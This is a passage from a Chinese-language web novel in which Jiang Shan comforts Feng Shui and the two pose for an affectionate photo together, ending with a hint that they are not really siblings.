蒋山一时无语,吸进去的一口气半天出不来,两下给她擦干净眼泪,都转身走了,又转了回来捏她的脸。 “笨蛋冯水。” 冯水被突然捏了一下,虽然不痛,但蒋山骂她笨了,她瘪了嘴皱了眉眼看又要开哭,康元突然从后面拉了她一下:“冯水,那个叔叔叫我们过去拍照了。” 冯水回头看了看,委屈地点了点头,拿手背擦了擦早就被擦干净的眼泪,收起表情,拉着康元过去了。 都没有回头看蒋山一眼。 蒋山在原地憋着气站了好一会儿,才吐出口气抬腿过去。 算了。 妹妹还小。 大了再收拾。 反正她必须对他负责。 休想赖账。 两人哭过之后,再拍照的时候就能笑出来了,而且越拍到后面笑得越自然,康元甚至还开始做一些搞怪的表情,冯水看着她笑,然后跟着她一起做。 蒋山在后面看着,也跟着笑起来,心里暖洋洋的。 冯水和康元一起选好照片,然后悄咪咪和王鹏说了些什么。 蒋山正要过去问,看见冯水笑嘻嘻地跑过来拉他。 “干嘛?” “拍照呀。” “和谁啊?” “和哥拍!” 冯水笑着把他拉到刚才和康元拍照的一棵树下,牵上他的手:“哥,记得看着镜头笑。” 说起来这还是蒋山第一次拍照,他莫名有点紧张,连手都不知道往哪儿放。 王鹏看出他的紧张,刚想开口让冯水凑近一些带带他的情绪,冯水就直接张开双臂抱了上去,抬头看蒋山:“哥也抱我,然后笑。” 蒋山看着她笑起来,抱着她答应一句:“好。” 王鹏看氛围差不多了,提醒两人看镜头,定格下他们笑着拥抱在一起的画面。 “兄妹俩感情真好。”王鹏看着照片笑着感叹一句。 冯水看着蒋山笑,蒋山也看着冯水笑。 他和冯水感情好是真的。 但兄妹,是假的。